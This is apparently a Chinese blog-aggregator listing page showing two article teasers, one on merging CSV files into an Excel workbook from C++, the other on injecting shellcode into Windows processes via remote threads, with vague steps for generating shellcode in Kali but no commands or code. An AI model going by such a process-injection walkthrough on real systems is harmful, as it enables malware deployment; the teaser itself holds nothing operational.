    接手了一个C++应用程序,解析csv和生成csv文件,但是如果要把多个csv文件合并成一个Excel,分布在不同的Sheet中,又想在一次运行中完成,不想说运行完C++ 的App后,再调用一个Python脚本或程序,这需要两步操作 根据安装的Visual Studio 的版本,我安装的是64-bit的。 如何查看当前

    2024年02月13日
    浏览(43)
  • 【Windows系统编程】03.远线程注入ShellCode

    shellcode:本质上也是一段普通的代码,只不过特殊的编程手法,可以在任意环境下,不依赖于原有的依赖库执行。 kali中借助生成shellcode: 桌面打开终端: 搜索payload: 另外打开一个终端: 回车,shellcode就出来了,复制出来就行了 然后我们来继续写代码: 这里给出我写出的

    2024年02月12日
    浏览(49)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包